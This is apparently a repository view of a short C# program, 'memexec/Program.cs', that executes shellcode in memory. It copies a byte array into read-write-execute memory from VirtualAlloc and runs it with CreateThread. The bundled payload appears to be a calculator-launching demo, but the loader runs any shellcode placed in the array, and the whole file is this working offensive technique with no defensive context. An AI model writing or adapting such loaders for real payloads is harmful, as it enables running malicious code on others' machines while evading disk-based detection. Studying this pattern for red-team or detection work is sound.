memexec/Program.cs

17 lines
531 B
C#
Raw Permalink Normal View History

2024-12-11 20:17:51 +01:00
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using memexec;
Trace.Listeners.Add(new TextWriterTraceListener(Console.Out));
Debug.WriteLine("Prepping shellcode");
Byte[] buf = Shells.Calc;
IntPtr addr = Win.VirtualAlloc(0, (uint)buf.Length, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr handle = Win.CreateThread(0, 0, addr, 0, 0, 0);
Debug.WriteLine("Execing shellcode");
if (Win.WaitForSingleObject(handle, 0xFFFFFFFF) != 0) {
Debug.WriteLine("Unable to join thread!");
}